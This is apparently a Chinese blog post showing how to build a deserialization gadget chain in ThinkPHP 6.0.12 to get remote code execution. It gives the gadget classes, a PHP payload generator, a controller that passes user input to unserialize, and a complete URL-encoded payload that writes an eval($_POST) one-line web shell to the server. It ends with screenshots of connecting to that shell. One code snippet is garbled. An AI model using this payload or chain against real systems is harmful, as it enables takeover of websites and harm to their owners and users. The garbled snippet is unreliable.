漏洞挖掘-ThinkPHP6.0.12LTS反序列化

ThinkPHP getshell的poc链挖掘

  • 前提介绍
  • 准备工作
    • composer下载 thinkphp框架
    • 打开 nginx中间件
    • php7.3
    • 方便调试 开启显错
  • 找反序列化入口点
  • 确定链路
  • 确定整体write流程
  • 构建poc链并实现getshell
    • 入口文件 析构函数 处构造
    • 继承析构入口的适配器 Adapter 构造
    • local 类 构造
    • 获取poc
    • 控制类 用来接收poc
  • getshell 利用
  • 一句话连接

前提介绍

tp框架6.0.12是LTS版本,长期维护
有师傅发过 RCE getshell 的poc链

准备工作

composer下载 thinkphp框架

https://www.phpcomposer.com/ (中国镜像站)

安装命令:

composer create-project topthink/think tp6 6.0.12

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第1张图片

打开 nginx中间件

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第2张图片

php7.3

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第3张图片
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第4张图片
访问正常。

方便调试 开启显错

‘show_error_msg’ => true

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第5张图片
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第6张图片

找反序列化入口点

入口点,都是__destruct()类的构造函数,以此触发下一步函数的执行
下面有很多类都是抽象类
真正的入口很大程度上是他们的子类等。

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第7张图片
看到 命名vendor 第三方 命名空间下
namespace League\Flysystem\Cached\Storage;
// 导入第三方类库
abstract class AbstractCache这个抽象类的析构方法中,调用了save方法
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第8张图片
implements 实现一个接口 关键字,必须实现接口中的所有方法。

查找继承这个抽象类 的子类
搜索语句:extends AbstractCache

进一步发现这个Adapter有一个save方法,而且,看方法结构就基本上可以断定是一个写文件的操作。
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第9张图片

查询 thinkphp 文档
https://www.thinkphp.cn/extend/945.html
确定正是 filesystem 文件系统的 think-filesystem插件
从thinkphp 5 就已经有了

think-filesystem基于 Frank de Jonge 开发的 PHP 包 Flysystem 提供了强大的文件系统抽象。
composer require selden1992/think-flysystem

提供了文件写入方法api

 API 一般用法

写文件

Files::write('path/to/file.txt', 'contents');
更新文件

Files::update('path/to/file.txt', 'new contents');
写或更新文件

Files::put('path/to/file.txt', 'contents');
读取文件

重点是,adapter可控,且只需要保证has方法返回false即可写入。

确定链路

继续跟进,因为adapter拥有write方法,我们要找到一个有write方法的类。
发现,本地local.php
class Local extends AbstractAdapter里的write方法,调用写文件的file_put_contents() 函数。

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第10张图片
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第11张图片
file_put_contents() 函数把一个字符串写入文件中。

 int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

确定整体write流程

so,write函数解决了,整个利用链条通顺了。
整体的调用流程如图所示:
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第12张图片

构建poc链并实现getshell

入口文件 析构函数 处构造

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第13张图片

     //  //属性值为false,才可以调用该save方法
    protected $autosave = true; 
    protected $cache = ['.'aming'.'\']);?>']; 
    public function __destruct()
    {

        // //autoSave参数为false
        if (! $this->autosave) {
            $this->save();
        }
    }

继承析构入口的适配器 Adapter 构造

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第14张图片


class Adapter extends AbstractCache
{
    //适配器,也就是我们要利用write方法的类
    
   protected $file = 'aming_hack.php';
     //文件名,写入文件的文件名

    public function __construct($local)
        {
            //方便生成的属性为local类对象,所以直接写到构造方法里了
            $this->adapter = $local;
        }


  public function getForStorage()
    {
        // //不用担心这个函数,它也没把我们的写入的内容怎么地
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete, $this->expire]);
    }
    public function save()
    {
        $config = new Config(); //为了方便,这个参数可以随便写一下,
        //但是如果随便写,下面的write定义的部分记得把传参约定的类型去掉(要不然php7过不了)
        $contents = $this->getForStorage();

        if ($this->adapter->has($this->file)) {
            $this->adapter->update($this->file, $contents, $config);
        } else {
            $this->adapter->write($this->file, $contents, $config);
        }
    }

local 类 构造

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第15张图片

     //这个$config的约定类型可以去掉,为了方便
    public function write($path, $contents, Config $config)
    {
        //这个调用是没所谓,$path就是传入的文件名,不过要确保文件名是否冲突,所以,每次调用,写入文件的文件名换一下
        $location = $this->applyPathPrefix($path);
        $this->ensureDirectory(dirname($location));

        if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
            return false;
        }

        // $type = 'file';
        // $result = compact('contents', 'type', 'size', 'path');

        // if ($visibility = $config->get('visibility')) {
        //     $result['visibility'] = $visibility;
        //     $this->setVisibility($path, $visibility);
        // }

        // return $result;
    }

获取poc

 <?php


namespace
{
    use League\Flysystem\Adapter\Local;
    use League\Flysystem\Cached\Storage\Adapter;

    $local = new Local();

    echo urlencode(serialize((new Adapter($local))));

}

?>

控制类 用来接收poc

 <?php
namespace app\controller;

use app\BaseController; 
 

class Index extends BaseController

{

        public function uns()
    {
        
        unserialize(urldecode(($_GET['aming'])));

        
    } 
  
}

getshell 利用

http://127.0.0.1/tp6/public/index.php/index/uns?aming=O%3A39%3A%22League\Flysystem\Cached\Storage\Adapter%22%3A6%3A{s%3A10%3A%22%00*%00adapter%22%3BO%3A30%3A%22League\Flysystem\Adapter\Local%22%3A3%3A{s%3A16%3A%22%00*%00permissionMap%22%3BN%3Bs%3A13%3A%22%00*%00writeFlags%22%3BN%3Bs%3A13%3A%22%00*%00pathPrefix%22%3BN%3B}s%3A9%3A%22%00*%00expire%22%3BN%3Bs%3A7%3A%22%00*%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00*%00autosave%22%3Bb%3A0%3Bs%3A8%3A%22%00*%00cache%22%3Ba%3A1%3A{i%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval(%24_POST[%27yyds%27])%3B%3F%3E%22%3B}s%3A11%3A%22%00*%00complete%22%3Ba%3A0%3A{}}

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第16张图片

一句话连接

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第17张图片
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第18张图片
漏洞挖掘-ThinkPHP6.0.12LTS反序列化_第19张图片

你可能感兴趣的:(渗透测试,java,php,安全)